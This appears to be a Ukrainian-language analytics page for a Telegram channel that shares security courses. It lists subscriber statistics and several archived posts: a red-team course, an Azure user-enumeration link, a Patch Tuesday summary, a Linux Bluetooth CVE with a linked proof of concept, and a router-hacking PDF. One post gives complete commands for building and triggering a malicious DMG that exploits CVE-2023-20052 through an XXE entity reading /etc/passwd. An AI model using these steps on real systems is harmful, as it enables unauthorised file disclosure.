uk
Feedback
All Security Engineering Courses

All Security Engineering Courses

Відкрити в Telegram

This channel is being updated often with older than 2020 courses, ebooks, videos, code, etc. to be used responsibly by everyone in CyberSecurity in an ethical manner. Lots of content is being downloaded from other channels or forwarded here. Bookmark me!

Показати більше

📈 Аналітичний огляд Telegram-каналу All Security Engineering Courses

Канал All Security Engineering Courses (@allsecurityengineeringcourses) у мовному сегменті Англійська є активним учасником. На даний момент спільнота об'єднує 19 249 підписників, посідаючи 6 660 місце в категорії Технології та додатки та 34 131 місце у регіоні Росія.

📊 Показники аудиторії та динаміка

З моменту свого створення невідомо, проект продемонстрував стрімке зростання, зібравши аудиторію у 19 249 підписників.

За останніми даними від 22 вересня, 2026, канал демонструє стабільну активність. Хоча за останні 30 днів спостерігається зміна кількості учасників на 101, а за останні 24 години на 2, загальне охоплення залишається високим.

  • Статус верифікації: Не верифікований
  • Рівень залученості (ER): Середній показник залученості аудиторії становить 16.43%. Протягом перших 24 годин після публікації контент зазвичай збирає N/A% реакцій від загальної кількості підписників.
  • Охоплення публікацій: В середньому кожен допис отримує 0 переглядів. Протягом першої доби публікація в середньому набирає 0 переглядів.
  • Реакції та взаємодія: Аудиторія активно підтримує контент: середня кількість реакцій на один пост – 0.
  • Тематичні інтереси: Контент зосереджений навколо ключових тем, таких як git, strace, github, linux, docker.

📝 Опис та контентна політика

Автор описує ресурс як майданчик для висловлення суб'єктивної думки:
This channel is being updated often with older than 2020 courses, ebooks, videos, code, etc. to be used responsibly by everyone in CyberSecurity in an ethical manner. Lots of content is being downloaded from other channels or forwarded here. Bookmar...

Завдяки високій частоті оновлень (останні дані отримано 23 вересня, 2026), канал підтримує актуальність та високий рівень охоплення публікацій. Аналітика показує, що аудиторія активно взаємодіє з контентом, що робить його важливою точкою впливу в категорії Технології та додатки.

19 249
Підписники
+224 години
+207 днів
+10130 днів
Архів дописів
Webinar Assessing the Security of Your Active Directory Privileged Account Risks and Controls

🔥Red Team and Adversary Simulation with BruteRatel C4 🔥 💥Add this to your personal collection to view offline!💥

💥 Red Team and Adversary Simulation with BruteRatel C4 💥 My big THANK YOU to all following my Telegram channel! Also here: https://www.youtube.com/playlist?list=PLl7h-59muprN-LS_WRKq1ldsknCDJm25O UPCOMING UPLOAD...

Repost from RT x TEAM </>
@nyxgeek I think most pentesters have used the classic OWA time-based user enum at some point. Or time-based enum in Lync. What if I told you that time-based user enum lives on in Azure? And it's tied to Basic Auth. Basic Auth is dead. Long live Basic Auth! https://trustedsec.com/blog/kicking-it-old-school-with-time-based-enumeration-in-azure

CVE-2023-20052 exploit (https://github.com/nokn0wthing/CVE-2023-25002)To create malicious DMG file: $ git clone https://github.com/nokn0wthing/CVE-2023-20052.git $ cd CVE-2023-20052 $ sudo docker build -t cve-2023-20052 . $ sudo docker run -v $(pwd):/exploit -it cve-2023-20052 bash $ genisoimage -D -V "exploit" -no-pad -r -apple -file-mode 0777 -o test.img . && dmg dmg test.img test.dmg $ bbe -e 's|<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">|<!DOCTYPE plist [<!ENTITY xxe SYSTEM "/etc/passwd"> ]>|' -e 's/blkx/&xxe\;/' test.dmg -o exploit.dmg To trigger exploit: $ clamscan --debug exploit.dmg

Hello everyone! This episode will be about Microsoft Patch Tuesday for July 2023, including vulnerabilities that were added between June and July Patch Tuesdays. Vulristics improvements 00:11 Works faster 01:31 Microsoft ADVs 02:45 Comments Table TOP 04:09 Remote Code Execution – Microsoft Office (CVE-2023-36884) 05:06 Security Feature Bypass – Windows SmartScreen (CVE-2023-32049) 05:48 Security Feature Bypass – Microsoft Outlook (CVE-2023-35311) 06:37 Elevation of Privilege – Windows Error Reporting Service (CVE-2023-36874) 07:16 Elevation of Privilege – Windows MSHTML Platform (CVE-2023-32046) Other RCEs 08:10 Remote Code Execution – Windows Active Directory Certificate Services (AD CS) (CVE-2023-35350) 09:01 Remote Code Execution – Microsoft Message Queuing (CVE-2023-32057, CVE-2023-35309) 09:44 Remote Code Execution – Windows Routing and Remote Access Service (RRAS) (CVE-2023-35365, CVE-2023-35366, CVE-2023-35367) 10:24 Remote Code Execution – Windows Layer-2 Bridge Network Driver (CVE-2023-35315) 10:57 Remote Code Execution – Microsoft SharePoint (CVE-2023-33134, CVE-2023-33157, CVE-2023-33159, CVE-2023-33160) 11:42 Remote Code Execution – Windows Pragmatic General Multicast (PGM) (CVE-2023-35297) 🎞 Video (https://youtu.be/vvQFMHt64X4)🎞 Video2 (for Russia) (https://vk.com/video-149273431_456239131)📘 (https://avleonov.com/vulristics_reports/ms_patch_tuesday_june2023_report_with_comments_ext_img.html)Blogpost (https://avleonov.com/2023/07/28/microsoft-patch-tuesday-july-2023-vulristics-improvements-office-rce-sfb-smartscreen-and-outlook-eop-mshtml-and-ers-other-rces/)🗒 Vulristics report (https://avleonov.com/vulristics_reports/ms_patch_tuesday_july2023_report_with_comments_ext_img.html)На русском (https://t.me/avleonovrus/722)@avleonovcom #AD #ADV #DarkReading #EoP #ERS #Kaspersky #KrebsOnSecurity #Layer2Bridge #Microsoft #MicrosoftOffice #MSHTML #MSMQ #Outlook #PGM #Qualys #Rapid7 #RCE #RRAS #SFB #SharePoint #SmartScreen #SophosNakedSecurity #Tenable #TheHackerNews #Vulristics #ZDI YouTube (https://youtu.be/vvQFMHt64X4) Microsoft Patch Tuesday July 2023: Vulristics improvements, Office RCE, SFB SmartScreen and Outlook Hello everyone! This episode will be about Microsoft Patch Tuesday for July 2023, including vulnerabilities that were added between

Linux Bluetooth: Unauthorized management command execution (https://github.com/lrh2000/CVE-2023-2002) (CVE-2023-2002, PoC exploit (https://github.com/lrh2000/CVE-2023-2002/blob/master/exp/bt_power.c) included) An insufficient permission check has been found in the Bluetooth subsystem of the Linux kernel when handling ioctl system calls of HCI sockets. This causes tasks without the proper CAP_NET_ADMIN capability can easily mark HCI sockets as trusted. Trusted sockets are intended to enable the sending and receiving of management commands and events, such as pairing or connecting with a new device. As a result, unprivileged users can acquire a trusted socket, leading to unauthorized execution of management commands. The exploit requires only the presence of a set of commonly used setuid programs. If successfully exploited, the identified vulnerability has the potential to compromise the confidentiality, integrity, and availability of Bluetooth communication. Attackers can exploit this vulnerability to pair the controller with malicious devices, even if the Bluetooth service is disabled or not installed.

+1
Draybreak.pdf3.30 MB

Dray:Break - breaking into draytek routers

Joe McCray - Python for InfoSec Professionals - course PDF